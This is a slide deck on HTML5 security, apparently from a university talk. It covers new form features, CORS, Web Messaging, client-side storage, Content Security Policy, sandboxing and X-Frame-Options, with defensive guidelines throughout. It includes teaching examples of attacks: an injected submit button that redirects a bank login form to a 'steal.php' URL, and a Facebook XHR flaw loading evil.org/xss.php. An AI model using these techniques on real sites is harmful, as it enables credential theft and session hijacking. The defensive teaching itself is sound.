HTML5 Security

Philippe De Ryck
philippe.deryck@cs.kuleuven.be
Fast Evolution of the Web

- Extension of client-side platform
  - HTML5 brings a lot of new features
    - Media elements, extended forms, custom handlers, offline applications ...
  - Communication between browsing contexts
  - Cross-origin communication
  - Several APIs offer client-side storage
  - Access to system / device properties
Fast (In)Security of the Web?

- Exciting new extensions
  - Potentially very security-sensitive operations
    - (Location) Tracking, stealing local data, ...
    - Example: Accelerometer keyloggers
  - Covered by numerous separate specs
    - Potential cross-spec issues/inconsistencies
- Specs aim to be secure-by-design
  - But are they?
Security Analysis of Web Standards
Analysis of the specifications

- A Security Analysis of Next Generation Web Standards
  - Commissioned by European Network and Information Security Agency (ENISA)
  - Performed by DistriNet Research Group

W3C specifications in scope

- HTML 5 specification
- Cross-domain communication
  - XML Http Request levels 1 and 2
  - Uniform Messaging Policy
  - Cross-Origin Resource Sharing
- Inter-window communication
  - HTML5 Web Messaging
- Media
  - Media Capture API
- Client-side storage
  - Web Storage
- Device access
  - Geolocation API Specification
  - System Information API
  - Permissions for Device API Access
  - Device API Privacy Requirements
Methodology

- Iterative and repeatable process
  - Applied to 13 specifications in scope
  - 1000+ pages of specification!

- Analysis driven by four security questions

- Results were captured in three steps
  - Specification summary
  - Analysis result of specification in isolation
  - Cross-specification analysis results
Scope

- Focus on newly introduced features
  - No specific focus for classic issues
    - E.g. XSS vectors, session management
    - Included when relevant for new features
  - Already extensive work on XSS attack vectors
    - See html5sec.org
Four security questions

- **SQ1**: Are the security-relevant aspects of the newly introduced capabilities well-defined and secure?
  - privacy problems, unprotected features, ...

- **SQ2**: Do the new specifications violate isolation properties between origins or restricted contexts?
  - sandboxes or private browsing mode

- **SQ3**: Is the new specification consistent with other specifications?
  - Permission management, ways to access information, ...

- **SQ4**: How do the security measures of the specification rely on the user making correct security decisions?
  - which decisions does the user have to make
3-step analysis

- **Step 1: Security-focused study of the specification in isolation:**
  - Capabilities: enlisting functional capabilities offered by the spec
  - User Involvement: how and when is the user involved in granting access
  - Security/privacy considerations: both explicit and implicit considerations

- **Step 2: Identification of specification-specific threats and underspecified behavior**

- **Step 3: Identification of cross-specification issues:**
  - Inconsistencies between the specifications
  - Interaction of features across specifications
## Analysis results

<table>
<thead>
<tr>
<th></th>
<th>Well-defined / Secure</th>
<th>Isolation Properties</th>
<th>Consistency</th>
<th>User Involvement</th>
</tr>
</thead>
<tbody>
<tr>
<td>HTML5</td>
<td>8</td>
<td>3</td>
<td>2</td>
<td>2</td>
</tr>
<tr>
<td>Web Messaging</td>
<td></td>
<td>1</td>
<td>2</td>
<td></td>
</tr>
<tr>
<td>XMLHttpRequest 1 + 2</td>
<td>1</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>CORS</td>
<td>2</td>
<td>1</td>
<td></td>
<td></td>
</tr>
<tr>
<td>UMP</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Web Storage</td>
<td>3</td>
<td>1</td>
<td>1</td>
<td>1</td>
</tr>
<tr>
<td>Geolocation API</td>
<td>5</td>
<td>1</td>
<td>1</td>
<td>1</td>
</tr>
<tr>
<td>Media Capture API</td>
<td></td>
<td></td>
<td>3</td>
<td></td>
</tr>
<tr>
<td>System Information API</td>
<td>3</td>
<td>1</td>
<td>1</td>
<td>2</td>
</tr>
<tr>
<td>Widgets - Digital Signatures</td>
<td></td>
<td></td>
<td></td>
<td>2</td>
</tr>
<tr>
<td>Widgets - Access Req Policy</td>
<td></td>
<td></td>
<td></td>
<td>1</td>
</tr>
<tr>
<td>Total</td>
<td>25</td>
<td>8</td>
<td>10</td>
<td>8</td>
</tr>
</tbody>
</table>
Key Observations

- Overall, specs are secure-by-design
- Security of legacy applications
  - Generally well maintained
  - Corner cases violate legacy security
- Underspecified behavior
  - Spec is too open, too vague
  - Allows diverging and insecure implementations
Key Observations

- Restricted contexts
  - Sandbox document / Private Browsing
  - Specifications do not account for this

- Permission systems
  - Several specifications use permissions
  - Multiple different permission systems
  - Heavily dependent on user for security
Conclusion

- Tons of new features will become available to third-party JavaScript
- Analysis results
  - Overall quality of the specification is quite OK
  - Limited number of threats identified
  - Lack consistency in permission management, user consent
  - Underspecification in restricted contexts
- Only coarse-grained control over available APIs
Next steps

- Follow up on issues and new spec developments at W3C and on mailinglists
- Translate knowledge in security guidelines for developers and website owners
- Evaluating the browser compliance towards the specifications
More info...

- A Security Analysis of Next Generation Web Standards

HTML5 Security Up Close
Goals of this session

- Glimpse of upcoming HTML5 technology
- Newly available client-side functionality
  - Learn how they work
  - Understand the security consequences
  - Best practices / Security guidelines
  - Both for new and existing applications
- Newly proposed security features
  - Learn how to protect your site
Overview of Technologies

Security Policies
(CSP, Do-Not-Track, X-Frame-Options)

Client-side Communication
(Web Messaging)

Forms
(HTML5)

Window

Media Content
(HTML5, HTML Media Capture)

Client/Server Communication
(CORS, UMP, XHR 1+2)

Sandbox
(HTML5)

Client-side Storage
(Web Storage, IndexedDB, Web SQL database, File API)

Sensor APIs
(Sysinfo API, Geolocation, ...)

Media Content
(Media Capture API)
On the menu ...

- Basic Web Security Concepts
- HTML5 Forms
- Cross-origin Communication
- Messaging between Contexts
- Storage APIs
- Content Security Policy
- HTML5 Sandboxing
- X-Frame Options
Basic Web Security Concepts

- Recommended read: “The Tangled Web”

- Same Origin Policy
  - Isolates content from different origins within the browser
  - Cornerstone for script security
  - Can differ based on type of access/content
    - E.g. Scripts are included within context of document that includes it
Basic Web Security Concepts

Origin A

Origin B (iframe)

<iframe src="originB" />

Origin B (script)

<script src="originB" />
Basic Web Security Concepts

- **Script inclusion**
  - Scripts become part of including document
  - Script tags are directly executed
    - Access to parsed data (e.g. vars or functions)
    - No access to source
  - Example to circumvent: JSONP
    - Request JSON data with function call
    - Server responds with data
Notation Style

- Best Practices / Security Guidelines

- Level of support in Browsers

- Well to Fully supported
- Marginally supported
- Not supported
- Not supported and no intention to do so

Browser versions: Firefox 10, Chrome 16, Opera 11.61, Safari 5.1, Internet Explorer 9, Internet Explorer 8 (max version for Windows XP)
New Form Functionality

- New Form Controls
  - Mainly input / visualization elements
  - Security-relevant: keygen

- Client-side Form Validation

- Out-of-band Form Controls
  - Place form elements anywhere
  - Modify form’s properties with attributes
Form Controls - keygen

- Generates public/private key pair
  - Public key is submitted, private key is stored
  - Use case: create client-side certs

```xml
<keygen name="key" keytype="rsa" />
```

Key Type: High Grade

POST (public key)

Authenticated SSL request

Multipart page (key and HTML)

Generate cert

Install cert in browser
Form Controls - *keygen*

**Advantages**
- Useful as additional authentication
- Better protection against stealing/phishing

**Disadvantages**
- Stored in browser (not directly accessible)
- Does not prevent browser-based attacks
- Management issues
- Limited support (mainly Firefox)
Form Validation

- Client-side validation of form elements
  - Predefined patterns
  - Custom checks and messages
  - Triggered by submission or `checkValidity()`
  - Overridden by `novalidate`

- Useful to avoid roundtrip to server
  - Especially on slower networks (e.g. mobile)
Form Validation – Predefined patterns

- Traditional input types
  - *hidden*, *text*, *password*, *checkbox*, *radio*, *file*, *submit*

- New input types
  - *search*, *tel*, *url*, *email*, *datetime*, *date*, *month*, *week*,
    *time*, *datetime-local*, *number*, *range*, *color*

```html
<input type="month" name="month" />
<input type="color" name="background" />
```
Form Validation – **Required/Patterns**

- Default validation attributes
  - **Required**: element must contain a value
  - **Pattern**: element must match a regex pattern

- Example: Belgian zip codes

```
<input type="text" name="zip" pattern="B-[0-9]{4}" required />
```
Form Validation - Custom

- Custom validation
  - Trigger custom validation method
  - Set custom validation message

```html
<input type="text" name="myCustom"
   oninput="validate(this)" required />

function validate(input) {
  if(...) {
    input.setCustomValidity("... custom message ...");
  }
}
```

"test" is not correct, says the custom validation!
Form Validation

- Client-side Validation
  - Useful to improve user experience
  - More efficient than round-trip to server
  - Easily circumvented by malicious user

Always validate data at the server-side
Out-of-band Form Controls

- Form elements anywhere in the page
  - Associated with a form
    - Nearest form or `form` attribute
  - Supports valid nesting of forms

```html
<form id="myform" action="basic.php" >
...
</form>

<input type="submit" form="myform" name="stray" value="Guess What I do?" />
```
Behavior Modifying Attributes

- Attributes can modify form behavior
  - Only applies to submission controls
  - Change action, enctype, method, novalidate and target

```html
<form action="basic.php" >
  ...
  <input type="submit" name="..." value="Basic Version" />
  <input type="submit" name="..."
        value="Advanced Version" formaction="advanced.php"/>
</form>
```
Injected Form Controls

- Attacker can confuse the user
  - Inject submission control
  - Change form destination

```html
<form id="login" action="basic.php">
  ...
  <input type="submit" name="..." value="Home Bank" />
</form>

<input type="submit" form="login" name="steal" value="Try out the new version!"
formaction="http://.../steal.php" />
```
Out-of-band Form Controls

- Can be used to change form destination
  - User still needs to click the button
  - No scripts needed
  - Solution: appropriate filtering

Prevent injection of `<input />` elements

Prevent injection of `form` attributes
# Browser Support

<table>
<thead>
<tr>
<th></th>
<th>Keygen</th>
<th>Form Validation</th>
<th>Out-of-band Form Controls</th>
</tr>
</thead>
<tbody>
<tr>
<td>Firefox</td>
<td><img src="Green" alt="Green" /></td>
<td><img src="Green" alt="Green" /></td>
<td><img src="Green" alt="Green" /></td>
</tr>
<tr>
<td>Chrome</td>
<td><img src="Yellow" alt="Yellow" /></td>
<td><img src="Green" alt="Green" /></td>
<td><img src="Green" alt="Green" /></td>
</tr>
<tr>
<td>Opera</td>
<td><img src="Yellow" alt="Yellow" /></td>
<td><img src="Green" alt="Green" /></td>
<td><img src="Green" alt="Green" /></td>
</tr>
<tr>
<td>Safari</td>
<td><img src="Red" alt="Red" /></td>
<td><img src="Red" alt="Red" /></td>
<td><img src="Red" alt="Red" /></td>
</tr>
<tr>
<td>IE</td>
<td><img src="Red" alt="Red" /></td>
<td><img src="Red" alt="Red" /></td>
<td><img src="Red" alt="Red" /></td>
</tr>
<tr>
<td>IE (XP)</td>
<td><img src="Red" alt="Red" /></td>
<td><img src="Red" alt="Red" /></td>
<td><img src="Red" alt="Red" /></td>
</tr>
</tbody>
</table>
Cross-Origin Communication

- Only possible by means of *hacks*
  - Proxy in same origin as host page
  - Script inclusion (e.g. JSONP)

- XMLHttpRequest Level 2
  - By-design solution for cross-origin comm.
  - Cross-Origin Resource Sharing
  - Uniform Messaging Policy
XMLHttpRequest Level 1

- JavaScript HTTP API
  - Synchronous and asynchronous
  - Restricted to same origin as host page

```javascript
var xhr = new XMLHttpRequest();

xhr.onreadystatechange = function() { ... }
xhr.open("GET", "updates.php");
xhr.send();
```
XMLHttpRequest Level 2

- JavaScript HTTP API
  - Synchronous and asynchronous
  - Offers cross-origin and anonymous requests
    ```javascript
    var xhr = new XMLHttpRequest();
    var anon = new AnonXMLHttpRequest();
    ```
  - Several security consequences
  - Carefully designed API
Cross-Origin Resource Sharing

- Cross-origin requests
  - Client provides (trustworthy) origin
    - Request header: `Origin`
  - Server provides authorization information
    - Additional response headers
  - Client (browser) enforces rules
    - Grant/deny access to response
Cross-Origin Resource Sharing

Simple request

- Send to server with origin header
- Process response headers
  - Access-Control-Allow-Origin
  - Access-Control-Allow-Credentials
  - Access-Control-Allow-Expose-Headers
- Wildcard allowed for ACAO
  - Not if credentials are used
Cross-Origin Resource Sharing

Browser
one.com

Cross-origin XHR request
GET two.com
Origin: http://one.com

Response
Access-Control-Allow-Origin: http://one.com

Web Server
two.com

Cross-origin XHR request
GET two.com
Origin: http://one.com

Response
Cross-Origin Resource Sharing

Security Goal
Do not give an attacker more capabilities than he has with traditional HTML and JS APIs

Example: Cross-Origin GET

- Request is sent to server with Origin header
- Server responds and disallows access
- Client will not give script access to response
- Same capabilities as with img element
Cross-Origin Resource Sharing

**Security Goal**
Do not give an attacker more capabilities than he has with traditional HTML and JS APIs

- Example: Cross-Origin PUT/DELETE
  - Is not possible with any existing API
  - Should not be possible with CORS!
  - API addresses this with *preflight requests*
Cross-Origin Resource Sharing

- Complex request
  - Send preflight **before making actual request**
  - Server responds with CORS headers
  - Client processes headers
    - If server allows request: send actual request
    - Else: do not send actual request

- Preflights maintain security goal
Cross-Origin Resource Sharing

- Preflight request
  ➤ Send OPTIONS request to server
    • Origin
    • Access-Control-Request-Method
    • Access-Control-Request-Headers
  ➤ Process response headers
    • Access-Control-Allow-Origin
    • Access-Control-Allow-Credentials
    • Access-Control-Allow-Expose-Headers
    • Access-Control-Allow-Max-Age
    • Access-Control-Allow-Methods
    • Access-Control-Allow-Headers
Cross-Origin Resource Sharing

Cross-origin preflight XHR request
- OPTIONS two.com
  - Origin: http://one.com
  - Access-Control-Request-Method: PUT

Response
- Access-Control-Allow-Origin: http://one.com
- Access-Control-Allow-Methods: PUT, DELETE

Cross-origin XHR request
- PUT two.com
  - Origin: http://one.com

Response
- Access-Control-Allow-Origin: http://one.com
Cross-Origin Resource Sharing

Browser
one.com

Cross-origin preflight XHR request
OPTIONS two.com
Origin: http://one.com
Access-Control-Request-Method: PUT

Response

Web Server
two.com

Cross-origin XHR request
PUT two.com
Origin: http://one.com
Cross-Origin Resource Sharing

- Denied simple requests
  - Server knows that access will be denied
  - Processing request is useless / dangerous

If a request is denied, simply return an empty response without any CORS headers
Cross-Origin Resource Sharing

Spec proposes some server-side policies

- Do not allow access to resources that are not useful to other applications
  - Example: login pages

Publicly accessible resources can always allow access (using the wildcard *)

- Example: images, ...
Cross-Origin Resource Sharing

- Spec proposes some server-side policies

  Responses that parse as JavaScript and do not contain sensitive comments can always allow access (using the wildcard *)

  - Can already be fetched with the script element

Always check Origin header (all values)

  - Currently, a cross-origin redirect adds an origin to the Origin header
Cross-Origin Resource Sharing

- Origin header can have value *null*
  - Occurrence: sandboxed context and proposed for cross-origin redirect
  - All the CORS algorithms still work with *null*!
    - Use of credentials is allowed
    - Server has no origin information
    - Pages can always sandbox themselves

Do NOT allow a *null* value in the Origin header
Other CORS use cases besides XHR

- Canvas tainting (HTML5)
  - Load cross-origin images without tainting

- Media elements metadata (HTML5)
  - Access metadata on cross-origin videos

- Server-sent events
  - Allow cross-origin access to event stream
Uniform Messaging Policy

- Only uniform requests/responses
  - No credentials/cookies/referer/origin
  - If needed, use other authentication or authorization system (e.g. OAuth)
  - Access to response is granted by **Access-Control-Allow-Origin: * header**
  - Do not use for non-publicly available resources
## Browser Support

<table>
<thead>
<tr>
<th>XMLHttpRequest</th>
<th>CORS</th>
<th>UMP</th>
</tr>
</thead>
<tbody>
<tr>
<td>Level 1</td>
<td>Level 2</td>
<td></td>
</tr>
<tr>
<td>Firefox</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Chrome</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Opera</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Safari</td>
<td></td>
<td></td>
</tr>
<tr>
<td>IE</td>
<td></td>
<td></td>
</tr>
<tr>
<td>IE (XP)</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

- **XMLHttpRequest**: Indicates the availability of the XMLHttpRequest object across different browsers.
- **CORS**: Supports Cross-Origin Resource Sharing.
- **UMP**: Indicates UMP (Unknown) support.
Legacy Applications

• XHR Level 1 was same origin
  ➔ Legacy apps never made CORS requests
  ➔ But now they can, so how about your app ...
  ➔ Ask Facebook
  • Facebook Touch used fragment to specify page
  • Uses XHR to load that page into the DOM
  • Code accepted any URL

Do not depend on implicit same-origin rules for security (but check your destination domain)
Facebook XHR Vulnerability

→ Loading content with AJAX
  touch.facebook.com/#profile.php

→ Attacker loads this URL in user’s browser
  touch.facebook.com/#http://evil.org/xss.php

→ Cross-origin XHR with Origin header
  • Server responds, and allows access
  • Facebook reads response and loads it in the page

→ Attacker now fully controls the user’s Facebook session
Messaging between Contexts
Messaging Between Contexts

- Isolation is a good security technique
  - Same Origin Policy applies
  - Components require interaction

- Web Messaging
  - Supports sending single messages
  - Supports establishing a message channel
    - Based on port objects
    - Follows the object-capability security model
Web Messaging – Single Message

- Send message to other browsing context
  - Sender: method of destination window
    - Provides message + destination origin + objects
  - Receiver: event handler on window object
    - Receives message + origin information

```javascript
windowB.postMessage("some message", "http://originB")
```
Web Messaging – Single Message

```javascript
function receiver(e) {
    if (e.origin == 'http://example.com') {
        ...
    }
}
window.addEventListener('message', receiver, false);

var f = document.getElementById('myframe');
f.contentWindow.postMessage('Hello world', 'http://b.example.org/');
```

Check sender origin before accepting message
Web Messaging – Message Channel

- Construct channel between two contexts
  - Two tangled ports, one for each context
    - Follows the object-capability model

```javascript
windowB.postMessage("some message", "http://originB", p2)
```

```javascript
p1.postMessage("some message")
```
Web Messaging – Message Channel

- Game wants to add contact to address book capability
- With permission of social site passing around capability

```
Origin A (Social Site)

Origin B (Game)  Origin C (Address Book)
p1 p2
```

Game wants to add contact to address book
  ➡️ capability

With permission of social site
  ➡️ passing around capability
Game wants to add contact to address book capability

With permission of social site passing around capability
Web Messaging – Message Channel

```javascript
var channel = new MessageChannel();

parent.frames[1].postMessage("port",
    'http://b.example.org/",
    [channel.port2]);

function receiver(e) { ... }
channel.port1.onmessage = receiver;

channel.port1.postMessage("Hello!");
```
Web Messaging

Treat incoming data as untrusted (validate before use!)

Limit the API available through a port capability

→ Port objects are easily forwarded
→ Messages contain no origin information
Web Messaging in a Sandbox

- HTML5 Sandbox
  - Supports *unique origins*
  - Source origin of messages: *null*
    - Any origin can send these messages

Check explicitly for a *null* source origin
## Browser Support

<table>
<thead>
<tr>
<th></th>
<th>Single Message</th>
<th>Message Channel</th>
</tr>
</thead>
<tbody>
<tr>
<td>Firefox</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Chrome</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Opera</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Safari</td>
<td></td>
<td></td>
</tr>
<tr>
<td>IE</td>
<td></td>
<td></td>
</tr>
<tr>
<td>IE (XP)</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Storage APIs
Storage APIs

- All techniques have similar properties
  - JavaScript API
  - Limited amount of storage
    - If supported, user can enlarge the quota

- Storage techniques
  - Simple key/value pairs (*Web Storage*)
  - Advanced key-based (*Indexed DB*)
  - Client-side SQL (*Web SQL DB*)
  - Local file (*File API*)
Storage APIs – Web Storage

- Simple key-based storage
  
  ```javascript
  Window.localStorage.setItem("key", "value");
  Window.localStorage.getItem("key");
  ```

- Two storage areas:
  - **Local**: global area per origin
  - **Session**: one area per top-level context/origin pair
Storage APIs – *Web Storage*

**Local Storage**
- Origin A 1
- Origin B 2
- Origin A sandbox
- Origin doc.domain

**Session Storage**
- Origin A 1
- Origin B 3
- Origin A sandbox
- Origin doc.domain
- Origin A 2
- Origin B 4
- Origin A sandbox
- Origin doc.domain
Storage APIs – Indexed DB

- Advanced key-based storage
  - Databases based on keys
    - Key-based storage and retrieval (no SQL)
    - Support for indexing, looping, in-order retrieval...
  - One storage area per origin
    - Can contain multiple databases
  - Extensive API
    - Asynchronous operations for normal use
    - Synchronous API available for use in workers
// Create new object stores
var osNotes = DB.db.createObjectStore(
  DB.ObjectStores.notes, {
    keyPath: "id", autoIncrement: true
  }
);

// Create a put request on the objectstore
var rq = os.put(note.toIDBObject());

// Get an index over the name
var index = os.index("byName");
var rq = index.get(name);
rq.onsuccess = function(e) {
  callback(e.target.result);
}
Client-side Storage – *Web SQL*

- Client-side SQL storage
  - Extensive SQL support
    - Including transactions and rollback
  - One storage area per origin
    - Can contain multiple databases
  - Extensive API:
    - Asynchronous operations for normal use
    - Synchronous API available for use in workers
// Create new database
let t.executeSql(
  'CREATE TABLE IF NOT EXISTS notes (
    (...)
  )', []
, function(e) { /* success */ },
  function(e) { /* error */ })
);

// Insert a note
let args = [note.name, note.user.id];
let t.executeSql('INSERT INTO notes (name, userId)
  VALUES (?, ?)', args,
  function(t, r) { /* success */ },
  function(e) { /* error */ });
Storage APIs – *File API*

**Local File Access**
- Read/write user selected files
- Use a virtual file system
  - Support for temporary or permanent FS
  - One FS per origin (one of each type)

**Extensive API**
- Asynchronous operations for normal use
- Synchronous API available for use in workers
// Create new filesystem
requestFileSystem(0, 1024 * 1024,
    function(fs) { /* success */ });

// Read some file
var reader = new FileReader();
reader.onload = outputFile(f.name);
reader.onerror = error;
reader.readAsText(f);
Storage APIs – Security Considerations

- Access is bound to origin
  - Beware of included scripts (e.g. advertisements, maps, ...)
  - Do not use storage on shared hosting (i.e. multiple sites within same origin)

Treat locally stored data as untrusted input

Carefully think about sensitivity of stored data
# Storage APIs – Browser Support

<table>
<thead>
<tr>
<th></th>
<th>Web Storage</th>
<th>Indexed Database</th>
<th>Web SQL Database</th>
<th>File API</th>
</tr>
</thead>
<tbody>
<tr>
<td>Firefox</td>
<td>✔</td>
<td>✔</td>
<td></td>
<td>✔</td>
</tr>
<tr>
<td>Chrome</td>
<td>✔</td>
<td>✔</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Opera</td>
<td>✔</td>
<td></td>
<td>✔</td>
<td></td>
</tr>
<tr>
<td>Safari</td>
<td>✔</td>
<td></td>
<td>✔</td>
<td></td>
</tr>
<tr>
<td>IE</td>
<td>✔</td>
<td></td>
<td>✔</td>
<td></td>
</tr>
<tr>
<td>IE (XP)</td>
<td>✔</td>
<td></td>
<td>✔</td>
<td></td>
</tr>
</tbody>
</table>
Content Security Policy
Content Security Policy

- Prevent potential injection attacks
  - XSS, Content injection (images, ...)
  - Not the primary line of defense
- Policy defines sources of content
  - Scripts, images, fonts, stylesheets, ...
- Currently being developed as a W3C spec
Content Security Policy

- **Policy Directives**
  - `script-src`: allowed script sources
  - `object-src`: allowed object sources
  - `img-src`: allowed image sources (html, css)
  - `media-src`: allowed media sources
  - `style-src`: allowed CSS sources
  - `frame-src`: allowed sources for child frames
  - `font-src`: allowed font sources (CSS)
  - `connect-src`: allowed remote destinations
  - `default-src`: allowed sources for any
Content Security Policy

- Behavioral constraints
  - Inline scripts are not allowed to execute
  - Code evaluation is disabled
  - Inline CSS is not applied

- Constraints can be overridden if needed
  - Allow inline scripts or CSS: unsafe-inline
  - Allow code evaluation: unsafe-eval
Content Security Policy - Example

- SecAppDev’s main page
  - Same-origin stylesheets / icons / images
  - Google Analytics
  - Inline scripts

```plaintext
default-src 'self';
script-src www.google-analytics.com 'unsafe-inline';
```
**Content Security Policy - Example**

- SecAppDev’s main page
  - Same-origin stylesheets / icons / images
  - Google Analytics
  - Same-origin scripts (external files)

```plaintext
default-src 'self';
script-src 'self' www.google-analytics.com;
```

To protect against XSS, limit *scripts* and *objects* and do not allow inline scripts
Content Security Policy

- Policy Delivery
  - Value of HTTP header or meta-tag
    - `X-Content-Security-Policy`
  - For large policies: refer to remote policy file
    - Must be within same origin as page
    - Use `policy-uri` directive
Content Security Policy

Policy Deployment

- Backwards compatibility
  - Older browsers will ignore the policy
  - No risks of breaking stuff on older sites

- Dry-run before enforcing
  - CSP supports a report-only mode
  - All violations are reported to URI
  - Enables debugging of policy before enforcement
Content Security Policy - Report

"csp-report": {
  "document-uri": "http://example.org/page.html",
  "referrer": "http://evil.example.com/haxor.html",
  "blocked-uri": "http://evil.example.com/image.png",
  "violated-directive": "default-src 'self'",
  "original-policy": "default-src 'self'; report-uri http://example.org/csp-report.cgi"
}

Content Security Policy

Testimonial

- Rollout on Twitter Mobile [4]
- JQuery tests `eval` function at loading time
  - Needed small fix (fixed by default in >=1.5)
- Unexpected issues
  - JavaScript injection/ content alteration by ISPs
  - Fixed by requiring SSL for all users
- Now: fully operational
# Browser Support

<table>
<thead>
<tr>
<th>Content Security Policy</th>
</tr>
</thead>
<tbody>
<tr>
<td>Firefox</td>
</tr>
<tr>
<td>Chrome</td>
</tr>
<tr>
<td>Opera</td>
</tr>
<tr>
<td>Safari</td>
</tr>
<tr>
<td>IE</td>
</tr>
<tr>
<td>IE (XP)</td>
</tr>
</tbody>
</table>
HTML Sandbox
HTML Sandbox

- Restricts functionality of framed content
  - Possibility to increase security
  - Coarse-grained options available
    - All enabled by default
    - Some can be relaxed with specific keywords

```
<iframe src="http://..." sandbox></iframe>

<iframe src="http://..." sandbox="allow-scripts"></iframe>
```
HTML Sandbox

Restrictions and relaxations:

• Content has unique origin *(allow-same-origin)*
• Navigation limited to sandbox and descendants
• Top navigation prevented *(allow-top-navigation)*
• Plugins are not loaded (e.g. embed, object, ...).
  User agent may allow user-initiated override
• Seamless can not be used
• Form submission is prevented *(allow-forms)*
• Scripts are disabled *(allow-scripts)*
• Automatic features are disabled *(allow-scripts)*
HTML Sandbox

Do not enable allow-scripts and allow-same-origin (Allows breaking out)

→ Allows content to break out of sandbox

Serve sandboxed content from a separate domain

→ Otherwise, loading outside of sandbox compromises main domain
HTML Sandbox

Do not rely on script-based security measures (or ensure a secure non-script mode)

- Attacker can sandbox your page
- Example: common clickjacking defenses

```javascript
if (top!==self)
    top.location.href = self.location.href
```

- Disabled by sandboxing page
- Use X-Frame-Options instead
X-Frame-Options
Clickjacking Attack

Of course you want to click here!
Clickjacking Attack

But actually you are clicking here
X-Frame-Options

- Restricts framing of pages
  - Can be used to prevent framing attacks
  - Header-based policy: `X-Frame-Options`
  - Values:
    - **DENY**: no framing allowed
    - **SAMEORIGIN**: only framing within origin
    - **ALLOW-FROM x**: specify sites that are allowed to frame this page
Browser Support

<table>
<thead>
<tr>
<th>X-Frame-Options</th>
</tr>
</thead>
<tbody>
<tr>
<td>Firefox</td>
</tr>
<tr>
<td>Chrome</td>
</tr>
<tr>
<td>Opera</td>
</tr>
<tr>
<td>Safari</td>
</tr>
<tr>
<td>IE</td>
</tr>
<tr>
<td>IE (XP)</td>
</tr>
</tbody>
</table>
Conclusion
HTML5 Security

- Exciting developments
  - Huge extension of client-side functionality
  - High potential for application creators
    • But also attractive target

- Follow simple security rules
  - Only allow the strictly necessary features
  - Don’t trust anything
Thank You

- You can always contact me
  - For further questions
  - With example uses of new technology
  - ...

DistriNet
HTML5 Security

Philippe De Ryck
philippe.deryck@cs.kuleuven.be